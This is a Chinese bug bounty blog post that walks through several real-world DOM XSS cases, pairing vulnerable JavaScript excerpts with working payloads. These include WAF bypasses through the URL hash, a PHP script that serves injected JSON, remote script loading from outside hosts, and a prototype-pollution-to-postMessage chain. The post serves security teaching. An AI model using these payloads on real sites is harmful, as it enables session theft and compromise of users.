BugBounty中Dom Xss的案例分享

2022-11-04

前言

在参与BugBounty时,排行榜中有一些人分数很高,除了他很勤奋外,还有很好的自动化来发现资产中的漏洞,像h1这种赏金平台竞争也很大,明显的漏洞几乎很少,要不资产独特,要不漏洞点很隐蔽,否则不容易发现,我在一开始接触这个平台,因为xss最好上手,所以我花了很多时间在这上面,但是反射型xss很容易重复,因为其他人也很容易发现,或者扫到,所以最开始那段时间,我把目光集中在Dom Xss上,并且制作了自动化来帮助我发现这种类型的漏洞,尽管国内并不重视Xss,但是国外对于Xss的奖励还算可观,所以对于学习这个漏洞类型来说很有助力,因为有钱赚 (\^-^),而且还有一些师傅不嫌弃的帮助,我非常感谢,所以我想分享一些自己在参与BugBounty遇到的Dom Xss,希望对于初学者有帮助。

(本文不包含任何关于如何扫描Dom Xss的内容。)

(很多案例已修复,所以只能从漏洞报告中找漏洞代码,或者通过Wayback Machine来寻找之前的源代码,经过一点点删改。)

(有些案例Dom很复杂也不典型,文章只分享一些经典案例,在挖洞时可能可以参考。)

(尽管国外对Xss的奖励可观,但Xss依然属于中危级别漏洞,比SSRF,RCE,Sql注入这些,赏金通常还是很低,所以想要在BugBounty中获得更多收入,还是需要关注研究一些高危害类型漏洞。未来可能会分享关于其他类型的。)

成果

为什么把成果放在最前面,因为我说了赚钱是助力,或者说动力,我是俗人,就是为了赚钱,🤣

我收到关于Dom Xss的赏金总计在30000$左右,最小的100$,最大的3000$,大概70份报告,90%的结果来自自动化,时间大概是2年,因为前期在优化改bug,我没有24小时天天扫描,我是偶尔导入一些目标来扫描,因为人太懒了+三心二意+还有其他事情,断断续续的,隔一段时间搞一会。自动化是帮我找到可能的脆弱点,然后手动分析很快就可以得到结果。

案例

关于Dom xss,我很早之前还有一篇文章,那里也可以让你了解更多基础。

以下所有案例来自真实网站。

通常学习Dom Xss,找到的文章似乎是很明显的Dom xss。我也发现过,但是遇到的几率很小。

例如

var url = window.location.href;
        var newUrl = 'DjamLanding.aspx';
        var splitString = url.split('?url=');
        if (splitString.length > 1) {
            newUrl = splitString[1];
            window.top.location.href = newUrl;
        }
        else {
            // New Url With NO query string
            alert('NO query string');
        }
        window.top.location.href = newUrl;

这种很简单,直接分割?url=, 然后来跳转

Payload https://test.com/xss?url=javascript:alert(1)

最常见的Case 1

概括:从URL中获取指定参数值,然后写入页面。

这种类型重点是获取参数的方式

1

    var getUrlParameter = function getUrlParameter(sParam) {
        var sPageURL = window.location.search.substring(1),
            sURLVariables = sPageURL.split('&'),
            sParameterName,
            i;
        for (i = 0; i < sURLVariables.length; i++) {
            sParameterName = sURLVariables[i].split('=');

            if (sParameterName[0] === sParam) {
                return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
            }
        }
    };

2

function getQueryParamByName(e) {
    var t = window.location.href;
    e = e.replace(/[\[\]]/g, "\\$&");
    var a = new RegExp("[?&]" + e + "(=([^&#]*)|&|#|$)").exec(t);
    return a ? a[2] ? decodeURIComponent(a[2].replace(/\+/g, " ")) : "" : null
}

3

new URLSearchParams(window.location.search).get('ParamName')

这3种方式的共同点是全部都会解码,前两个调用了decodeURIComponent,第3个URLSearchParams是对URL参数操作的原生方法也会解码 image

由于获取参数会解码,所以如果写入没有处理,大部分情况都会造成Xss

—– 1

  var e = $(".alert.has-icon")
      , t = getURLParameter("sca_success") || ""
      , n = getURLParameter("sca_message") || "";
    "true" == t && "true" == n ? (0 < e.length ? showNotification("Your plan has been updated successfully", "success", 5e3) : jQuery.bsAlert.alert({
        text: "Your plan has been updated successfully",
        alertType: "success"
    }),
    resetPageURL()) : n && (0 < e.length ? showNotification(n, "error", 5e3) : jQuery.bsAlert.alert({
        text: n,
        alertType: "error",
        timeout: 15e3
    }),

获取参数sca_messagen,然后通过某种框架显示出来,但是没有处理n,所以导致Xss

Payload https://test.com/xss?sca_message=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

—– 2

<iframe id="poster-element" class="poster-element" style="width: 100vw; height: 100vh; border: 0"></iframe>
const posterElement = document.getElementById( 'poster-element' )
function getField( name ) {
  let fname = document.getElementById( name )
  if( !fname ) fname = document.getElementById( 'data-' + name )
  let val
  if( fname ) {
    const isCheckbox = fname.matches( '[type="checkbox"]' )
    if( isCheckbox ) val = fname.checked
    else val = fname.value || fname.content
    // check for a hard true (from the checkbox)
    if( val === true || (val && val.length > 0) ) return val
    else {
      val = getURLParameter( name )
      if( val && val.length > 0 ) {
        if( isCheckbox ) fname.checked = !!val
        else fname.value = val
      }
    }
  }
  return getURLParameter( name )
}
 if( posterElement && !posterElement.src ) {
    const posterSrc = getField( 'poster' ) || GLANCE.defaultPoster
    if( posterSrc ) {
      posterElement.src = posterSrc
      posterElement.classList.remove( 'invisible' )
    }
    else {
      posterElement.classList.add( 'invisible' )
    }
  }

获取参数poster值设置为posterElement.src,也就是iframe标签src的值

Payload https://test.com/xss?poster=javascript:alert(1)

—– 3

function highlightSearchResults() {
    const e = $(".content_block .content_container .content_block_text:last");
    layoutData.enableSearchHighlight && highlightSearchContent("highlight", e);
    var t = getQueryParamByName("attachmentHighlight") || void 0;
    t && $(".content_block_head").after("<div class='infoBox search-attachment-result-box'>Please check the " + layoutData.attachments.toLowerCase() + " for matching keyword '" + t + "' search result</div>")
}

after() 方法在被选元素后插入指定的内容。

获取参数attachmentHighlight值给t,通过jQuery after()写入

Payload https://test.com/xss?attachmentHighlight=%3Csvg%20onload=alert(1)%3E

—– 4

这个报告中只有这张图片

image

流程是

dev=params.get("dev") > sessionStorage.setItem("braze-dev-version",dev) > var version=sessionStorage.getItem("braze-dev-version") > displayDevMessage(version) > displayDevMessage(c) {var a=document.createElement("div");a.innerHTML=c;document.body.appendChild(a);

Payload ?dev=%3Cimg%20src=x%20onerror=alert(1)%3E

由于它是储存在sessionStorage,然后再读取,所以这可以算是个持久Xss,访问poc后,访问任何加载此js的页面依然会触发Xss

—– 5

let ghSource = getUrlParameter('gh_src');
for (var something in sorted) {
    console.log(something);
    // let options = 'All Categories' + something;
    var sortedReplaced = replaceAll(something.replace(/\s/g, ''), '&', '');
    menuHtml.innerHTML += `<li data-filter="${sortedReplaced}" onClick="(function() { ga('IPTracker.send', 'event','button','click','${sortedReplaced}');})();"><span>${something}</span></li>`;
    // html += `<p class="hide">No data</p>`
    html += `       `
    let categ = array[something];
    html += `<div class="panel ${replaceAll(something.replace(/\s/g, ''), '&', '')}" data-filter="${replaceAll(something.replace(/\s/g, ''), '&', '')}">`
    let jobs = categ;
    for (let j = 0; j < jobs.length; j++) {
        let jobse = jobs[j];
        let location = jobs[j].location.name;
        let url;
        if (ghSource !== undefined) {
            // let url =
            url = (jobs[j].absolute_url, 't=gh_src=', 'gh_src=' + ghSource);
        } else {
            url = jobs[j].absolute_url;
        }

        html += `
                                            <p class="job" data-location="${replaceAll(location, '&', '')}"><a href="${url}" target="_blank"> ${jobse.title}</a><span>${location}</span></p>
                                            `
    }
    html += `</div>`
    dataEl.innerHTML = html
}

获取参数gh_src通过replaceAll传给url,url写入a标签,但是获取参数解码了,所以还是会造成Xss.

Payload https://test.com/xss?gh_src=xsstest%22%3E%3Cimg%20src%3dx%20onerror%3dalert(1)%3E

常见的Case 2

概括:直接把location.href写入页面

此场景还是很常见的

如果你把https://www.google.com/xsspath'"?xssparam'"=xssvalue'"#xsshash'"放入浏览器URL栏

你会得到https://www.google.com/xsspath'%22?xssparam%27%22=xssvalue%27%22#xsshash'%22

从得到的结果来看,浏览器似乎只对location.search也就是参数中的单引号自动编码

pathhash 都不会编码,所以可以利用hash逃出任何通过单引号引用并写入location.href或者location.hash的地方

因为修改path一般会导致页面404,极少数情况下才能使用,但是服务端代码在获取某个path写入页面的时候可能会造成反射型Xss。

—– 1

网页分享处,任何分享,网页分析创建的log请求 各种需要当前页面url的地方

像这样

   document.writeln("<a href='https://twitter.com/share?text=" + location.href + "'target='_blank' rel='noreferrer noopener'>Twitter</a>");

只需要通过hash跳出单引号,就可以添加js事件,根据具体标签具体分析,这里是a标签所以很多都可以用,onclick为举例

Payload https://test.com/xss#'onclick='alert(1)

—– 2

一些表单提交处

            createInput: function(a) {
                var b = ""
                  , e = ""
                  , c = a.fieldPrefix || ga
                  , d = a.elementId || a.elementName
                  , f = a.elementClasses && B(a.elementClasses) ? a.elementClasses : []
                  , g = "object" === typeof a.elementAttributes ? a.elementAttributes : {}
                  , h = "button" === a.type || "submit" === a.type || "checkbox" === a.type || "radio" === a.type || "hidden" === a.type
                  , k = a.justElement || a.collection || "hidden" === a.type || "button" === a.type || "submit" === a.type
                  , l = "password" === a.type && !Bb && a.placeholder ? "text" : a.type
                  , n = ("checkbox" === a.type && !a.collection || "radio" === a.type && !a.collection) && !a.justElement
                  , m = a.rendererFieldName
                  , p = a.rendererChildFieldName
                  , t = Hc && !a.collection;
                I(f, "capture_" + d) || f.push("capture_" + d);
                h || (e += q.createLabel(a));
                a.validation && a.validation.required && f.push("capture_required");
                b += "<input ";
                a.hide && (b += "style='display:none' ");
                b = b + ("id='" + c + d + "' ") + (Oc(g) + " ");
                "text" === a.type || "email" === a.type || "password" === a.type || "file" === a.type ? I(f, "capture_text_input") || f.push("capture_text_input") : "checkbox" === a.type || "radio" === a.type ? I(f, "capture_input_" + a.type) || f.push("capture_input_" + a.type) : "submit" === a.type && (I(f, "capture_btn") || f.push("capture_btn"),
                I(f, "capture_primary") || f.push("capture_primary"));
                b += "data-capturefield='" + a.name + "' ";
                a.collection && (b += "data-capturecollection='true' ");
                m && (b += "data-capturerendererfield='" + m + "' ");
                p && (b += "data-capturerendererchildfieldname='" + p + "' ");
                "checkbox" !== a.type && "radio" !== a.type || !a.elementValue ? a.value || "string" === typeof a.displaySavedValue ? (g = a.value,
                h = "string" === typeof a.displaySavedValue ? a.displaySavedValue : a.value,
                a.displaySavedValue && ed[h] && (g = wd(ed[h]),
                "password" === a.type && (l = "password")),
                "password" !== a.type && "text" !== a.type && "email" !== a.type || a.errors || !t || Ed.push(c + d),
                b += "value='" + g + "' ") : a.placeholder && !Bb ? (b += "value='" + wd(a.placeholder) + "' ",
                I(f, "capture_input_placeholder") || f.push("capture_input_placeholder")) : b += "value='' " : b += "value='" + wd(a.elementValue) + "' ";
                b = b + ("type='" + l + "' ") + ("class='" + f.join(" ") + "' ");
                a.subId && (b += 'data-subid="' + a.subId + '" ');
                a.placeholder && (b += "placeholder='" + wd(a.placeholder) + "' ");
                if (a.checked || a.elementValue && a.value === a.elementValue)
                    b += "checked='checked' ";
                b += "name='" + a.elementName + "' ";
                b += "/>";
                e = "checkbox" === a.type || "radio" === a.type ? e + q.createLabel(a, b) : e + b;
                a.modify && q.attachModifyEventHandler(a);
                a.publicPrivateToggle && (e += q.createPublicPrivateToggle(a));
                n && (e += "</div>");
                k || (e += q.createTip(a));
                a.profileStoragePath && "undefined" === typeof a.value && q.setElementAttributeWithLocalStorage(a, c + d, "value");
                return e
            },
                     d.appendChild(q.domHelpers.createInput({
                        elementType: "hidden",
                        fieldPrefix: c,
                        elementName: "redirect_uri",
                        elementId: "redirect_uri_" + b,
                        elementValue: janrain.settings.capture.redirectUri
                    }));

根据上文 janrain.settings.capture.redirectUri = location.href

所以janrain.settings.capture.redirectUri我们可以控制

第一段代码虽然看起来眼花缭乱,但是大致一看就会知道这是在创建input标签,这一大堆代码根本不重要,重点在于

b += "value='" + wd(a.elementValue) + "' "; b = b + ("type='" + l + "' ") 精简等同于 b += "value='"+location.href+"'type='hidden'"

显然这是给<input>标签添加value和type,但是value是单引号引用,location.href已经说过可以跳出单引号, 但是<input type='hidden'> 的Xss 很鸡肋,不过在type=前面可以加任何属性,可以先给type赋值,浏览器自然会忽略后面的type=hidden赋值,这样就很容易就可以Xss

Payload https://test.com/xss#'autofocus=''onfocus='alert(1)'type='input

Case 3

概括:XMLHttpRequest的目标url可控,可以控制响应注入可以造成Xss的内容

我之前有一个文章https://jinone.github.io/bugbounty-a-dom-xss/就算一个案例

—– 1

 $(document).ready(function() {

                $('#resetform').on("submit",function(e) {  	 
                    e.preventDefault();
                    
                    if(getParameterByName("target")){
                    var password = $("#resetform").find("input[name='password']");
                    var referenceID = getParameterByName("referenceID");
                    var referenceType = getParameterByName("referenceType")
                    var token = getParameterByName("token");
                    var target = window.atob(getParameterByName("target"));
                    var url = "https://" + target + "/api/v1/reset/" + referenceID;
                    var request = new XMLHttpRequest(); 
                    
                    request.open("PUT", url, true); 
                    request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                    request.onreadystatechange = function() { 
                        if(request.readyState == request.DONE) {
                            var response = request.responseText;
                            var obj = JSON.parse(response);

                            if (request.status == 200) {
                                window.location.replace("thank-you.html");
                            }else{
                                document.getElementById("errormsg").innerHTML = obj['Description'];
                                document.getElementById("errormsg").style.display = "block";
                                document.getElementById("errormsg").scrollIntoView(); 
                            }
                        }
                    } 
                    request.send("password="+password.val()+"&token="+token+"&referenceType="+referenceType);
                    }else{
                        document.getElementById("errormsg").innerHTML = "There was a problem with your password reset.";
                        document.getElementById("errormsg").style.display = "block";
                        document.getElementById("errormsg").scrollIntoView(); 
                    }
                    return false;
                });
            });

代码就是要从参数target(base64解密)获取 host 拼接到url里面 发送请求 判断响应是否为200 如果不是就会把响应包的Description json 值写在页面

可以把一个脚本放在服务器

<?php
header("HTTP/1.0 201 OK");
header("Access-Control-Allow-Origin: https://qwe.com");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: OPTIONS,HEAD,DELETE,GET,PUT,POST");

echo '{"Description":"<img/src=x onerror=alert(1)>"}';
?>

由于这个var url = "https://" + target + "/api/v1/reset/" + referenceID;,后面还有内容

可以使用test.com/xss.php?把后面的忽略掉, 再经过base64编码

Payload https://test.com/reset?target=dGVzdC5jb20veHNzLnBocD8=

—– 2

_h_processUrlArgs: function() {
        var
            h_search = document.location.search,
            h_args,
            h_property,
            h_i, h_cnt;

        if (!h_search) {
            return;
        }

        h_args = h_search.substr(1).split('&');

        for (h_i = 0, h_cnt = h_args.length; h_i < h_cnt; h_i++) {
            h_property = h_args[h_i].split('=');

            switch (h_property[0]) {
                case 'h_debug':
                    this._h_debugMode = true;
                    break;
                case 'weblibFiles':
                    kio.lib._h_buildDescription.h_weblibFiles.h_path = this._h_getPath(h_property[1]);
                    this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_weblibFiles.h_files');
                    this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_weblibFiles);
                    break;
                case 'appFiles':
                    kio.lib._h_buildDescription.h_appFiles.h_path = document.location.origin + this._h_getPath(h_property[1]);
                    this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_appFiles.h_files');
                    this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_appFiles);
                    break;
            }
        }
    },

    _h_getPath: function(h_url) {
        var h_p = h_url.lastIndexOf('/');

        if (-1 !== h_p) {
            h_url = h_url.substr(0, h_p);
        }

        return h_url;
    },


    _h_getFile: function(h_url, h_variableName) {
        var h_xhr;

        if (window.XMLHttpRequest) {
            h_xhr = new window.XMLHttpRequest();
        } else if (window.ActiveXObject) {
            h_xhr = new window.ActiveXObject('Microsoft.XMLHTTP');
        }

        if (!h_xhr) {
            this.h_reportError('Internal error: Cannot load ' + h_url, 'kLib.js');
            return;
        }

        h_xhr.open('GET', h_url, false);
        h_xhr.send(null);

        if (h_variableName) {
            eval(h_variableName + '=' + h_xhr.responseText + ';');
        } else {
            eval(h_xhr.responseText);
        }
    },

document.location.search中通过switch匹配参数名,执行对应操作,传入参数值为h_url,通过xhr获取响应,然后竟然直接eval,没有任何引号包裹,weblibFilesappFiles都可以,只需要准备一个js地址。

Payload https://test.com/xss?appFiles=//15.rs/

上述案例相当于是一些Dom xss的形式,再查找这种类型漏洞,可以多关注。

奇葩案例

—– 1

这个在一处oauth

        qs: function(e, t, n) {
            if (t)
                for (var i in n = n || encodeURIComponent,
                t) {
                    var o = new RegExp("([\\?\\&])" + i + "=[^\\&]*");
                    e.match(o) && (e = e.replace(o, "$1" + i + "=" + n(t[i])),
                    delete t[i])
                }
            return this.isEmpty(t) ? e : e + (-1 < e.indexOf("?") ? "&" : "?") + this.param(t, n)
        },
        param: function(e, t) {
            var n, i, o = {};
            if ("string" == typeof e) {
                if (t = t || decodeURIComponent,
                i = e.replace(/^[\#\?]/, "").match(/([^=\/\&]+)=([^\&]+)/g))
                    for (var a = 0; a < i.length; a++)
                        o[(n = i[a].match(/([^=]+)=(.*)/))[1]] = t(n[2]);
                return o
            }
            t = t || encodeURIComponent;
            var r, s = e, o = [];
            for (r in s)
                s.hasOwnProperty(r) && s.hasOwnProperty(r) && o.push([r, "?" === s[r] ? "?" : t(s[r])].join("="));
            return o.join("&")
        },
      responseHandler: function(e, t) {
            var a = this
              , n = e.location
              , i = a.param(n.search);
            if (i && i.state && (i.code || i.oauth_token))
                r = JSON.parse(i.state),
                i.redirect_uri = r.redirect_uri || n.href.replace(/[\?\#].*$/, ""),
                r = a.qs(r.oauth_proxy, i),
                n.assign(r);
            else if ((i = a.merge(a.param(n.search || ""), a.param(n.hash || ""))) && "state"in i) {
                try {
                    var o = JSON.parse(i.state);
                    a.extend(i, o)
                } catch (e) {
                    var r = decodeURIComponent(i.state);
                    try {
                        var s = JSON.parse(r);
                        a.extend(i, s)
                    } catch (e) {
                        console.error("Could not decode state parameter")
                    }
                }
                "access_token"in i && i.access_token && i.network ? (i.expires_in && 0 !== parseInt(i.expires_in, 10) || (i.expires_in = 0),
                i.expires_in = parseInt(i.expires_in, 10),
                i.expires = (new Date).getTime() / 1e3 + (i.expires_in || 31536e3),
                l(i, 0, t)) : "error"in i && i.error && i.network ? (i.error = {
                    code: i.error,
                    message: i.error_message || i.error_description
                },
                l(i, 0, t)) : i.callback && i.callback in t && (o = !!("result"in i && i.result) && JSON.parse(i.result),
                d(t, i.callback)(o),
                u()),
                i.page_uri && n.assign(i.page_uri)
            } else
                "oauth_redirect"in i && n.assign(decodeURIComponent(i.oauth_redirect));

这有多个可以 Xss的方法

responseHandler中 只要满足第一个if的条件,通过location.assign() 方法加载一个新的页面r

Payload https://test.com/xss?state={"oauth_proxy":"javascript:alert(1);//"}&code=xss&oauth_token=xss

第二个if 太长没看

如果前两个if都不满足,else也可以导致Xss,这是最简单的

Payload https://test.com/xss?oauth_redirect=javascript:alert(1)

但是这个站的waf超级严格,根本绕不过

但是在第二个if中else if ((i = a.merge(a.param(n.search || ""), a.param(n.hash || ""))) && "state"in i)

可以看到把location.hash也传给了i,依然使用最后的else内容来触发Xss,由于hash根本不会发送给服务端,所以waf没用。

Payload https://test.com/xss#oauth_redirect=javascript:alert(1)

—– 2

 <script type="text/javascript">
            window.onload = ()=>{
                var e = window.location.search.replace("?", "").split("&");
                if (void 0 !== e && null != e && "" != e) {
                    var t = e[0].split("=");
                    if (void 0 !== t && t.length > 0) {
                        var l = t[1];
                        localStorage.setItem("deploymentJs", l),
                        n(l)
                    }
                } else {
                    var o = localStorage.getItem("deploymentJs") ? localStorage.getItem("deploymentJs") : "https://c.la1-c1cs-ord.xxxxx.com/content/g/js/49.0/deployment.js";
                    void 0 !== o && null != o && "" != o && n(o)
                }
                function n(e) {
                    let t = document.createElement("script");
                    t.setAttribute("src", e),
                    void 0 !== e && null != e && "" != e && document.body.appendChild(t)
                }
            }
        </script>

离谱,居然获取第一个参数值作为script标签的src值。

由于储存在localStorage 这算是个持久xss 只要用户不自己清除cookie或者访问有参数的页面

Payload https://test.com/xss?xss=data:,alert(1)//或 Payload https://test.com/xss?xss=//nj.rs

—– 3

var query = getQueryParams();

$.each(query, function(key, value) {
    window[key] = value;
});

function getQueryParams() {

    var qs = document.location.search + '&' + document.location.hash.replace('#', '');

    qs = qs.split("+").join(" ");

    var params = {},
        tokens,
        re = /[?&]?([^=]+)=([^&]*)/g;

    while (tokens = re.exec(qs)) {
        params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
    }

    return params;
}

这个似乎是想把所有参数和hash中的参数储存在window对象中,可是这样可以修改一些原有的子对象,比如location

Payload https://test.com/xss#location=javascript:alert(1)

一般能用hash就用hash,因为这样不会被waf检测

—– 4

通常eval很容易造成Xss,谨慎使用

String.prototype.queryStringToJSON = String.prototype.queryStringToJSON || function() {
    var params = String(this)  // 上文中this = location.href
      , params = params.substring(params.indexOf("?") + 1);
    if (params = params.replace(/\+/g, "%20"),
    "{" === params.substring(0, 1) && "}" === params.substring(params.length - 1))
        return eval(decodeURIComponent(params));
    params = params.split(/\&(amp\;)?/);
    for (var json = {}, i = 0, n = params.length; i < n; ++i) {
        var param = params[i] || null, key, value, key, value, keys, path, cmd, param;
        null !== param && (param = param.split("="),
        null !== param && (key = param[0] || null,
        null !== key && void 0 !== param[1] && (value = param[1],
        key = decodeURIComponent(key),
        value = decodeURIComponent(value),
        keys = key.split("."),
        1 === keys.length ? json[key] = value : (path = "",
        cmd = "",
        $.each(keys, function(ii, key) {
            path += '["' + key.replace(/"/g, '\\"') + '"]',
            jsonCLOSUREGLOBAL = json,
            cmd = "if ( typeof jsonCLOSUREGLOBAL" + path + ' === "undefined" ) jsonCLOSUREGLOBAL' + path + " = {}",
            eval(cmd),
            json = jsonCLOSUREGLOBAL,
            delete jsonCLOSUREGLOBAL
        }),
        jsonCLOSUREGLOBAL = json,
        valueCLOSUREGLOBAL = value,
        cmd = "jsonCLOSUREGLOBAL" + path + " = valueCLOSUREGLOBAL",
        eval(cmd),
        json = jsonCLOSUREGLOBAL,
        delete jsonCLOSUREGLOBAL,
        delete valueCLOSUREGLOBAL))))
    }
    return json
}

第一处eval,只是通过if判断是否{}包裹

Payload 1 https://test.com/xss/?{alert(1)}

第二处eval,只要在传入eval的内容中,想办法让自己的js可以执行就行

在本地测试,,传入如下js就可以执行 if ( typeof jsonCLOSUREGLOBAL["x"]["\\"]);alert(1);//"] === "undefined" ) jsonCLOSUREGLOBAL["x"]["\\"]);alert(1);//"] = {}

所以

Payload 2 https://test.com/xss/?x.\%22]);alert(1);/%2f=1

第3处eval,略。

—– 5

PostMessage Xss,这似乎有很多关于这种类型的文章。

Client-Side Prototype Pollution参考https://github.com/BlackFan/client-side-prototype-pollution。这俩个在BugBounty中也非常吃香。

分享一个俩者结合的Xss

起因是

我扫到一个p8.testa.com的Client-Side Prototype Pollution,搞了很久之后,终于可以Xss

https://p8.testa.com/gb/view?ssc=us1&member=chinna.padma&constructor[prototype][jsAttributes][onafterscriptexecute]=alert(document.domain)

但是厂商却说这个域名超出范围,我并不想让努力白费

然后我寻找到明确范围内的一处PostMessage

var POLL_INTERVAL = 2e3,
    MAX_POLLS = 3,
    ALLOWED_ORIGINS_REGEX = /^https?\:\/\/([^\/\?]+\.)*((testa|testb|testc)\.(net|com|com\.au))(\:\d+)?([\/\?]|$)/;

function onElementHeightChange(t, n, i, o) {
    if (t && n) {
        var r = t.clientHeight,
            a = 0,
            m = 0;
        o = o || MAX_POLLS,
            "number" == typeof r && (r -= 1),
            function e() {
                a = t.clientHeight,
                    m++,
                    r !== a && (n(), r = a),
                    t.onElementHeightChangeTimer && clearTimeout(t.onElementHeightChangeTimer),
                    i ? t.onElementHeightChangeTimer = setTimeout(e, i) : m <= o && (t.onElementHeightChangeTimer = setTimeout(e, POLL_INTERVAL))
            }()
    }
}
window.addEventListener("message",
    function(e) {
        if (ALLOWED_ORIGINS_REGEX.test(e.origin)) {
            if ("string" != typeof e.data) return;
            var t = e.source,
                n = e.origin,
                i = {};
            try {
                i = JSON.parse(e.data)
            } catch (e) {
                return
            }
            var o, r = i.id || 0,
                a = i.markup,
                m = i.scriptSrc,
                c = "",
                d = function() {
                    c = r + ":" + document.body.clientHeight,
                        t.postMessage(c, n)
                };
            if (a && (document.body.innerHTML = a, !m)) return void d();
            m && ((o = document.createElement("script")).src = m, o.onload = function() {
                    onElementHeightChange(document.body, d, i.pollInterval, i.maxPolls)
                },
                document.body.appendChild(o))
        }
    })

很明显此处,获取message中json字段scriptSrc作为script的src值,尽管已经验证了origin,但是由于有验证域的Xss,所以可以通过验证获得Xss

Payload

https://p8.testa.com/gb/view?ssc=us1&member=chinna.padma&constructor[prototype][jsAttributes][onafterscriptexecute]=document.body.innerHTML=%27%3Ciframe%20src=%22https://s.xx.com/yc/html/embed-iframe-min.2d7457d4.html%22%20onload=%22this.contentWindow.postMessage(window.atob(\%27eyJpZCI6IjEiLCJtYXJrdXAiOiJ4Iiwic2NyaXB0U3JjIjoiaHR0cHM6Ly9uai5ycyIsInBvbGxJbnRlcnZhbCI6IngiLCJtYXhQb2xscyI6IngifQ==\%27),\%27*\%27)%22%3E%3C/iframe%3E%27

结语

Dom Xss的形式还有很多,我把在BugBounty中遇到比较多见的形式分享出来,仅供参考。

由于很多都是在过去报告中摘出来的,所以可能有错误,欢迎指正,但主要是理解意思就好。

也欢迎交流,跟着大佬师傅们学习 😄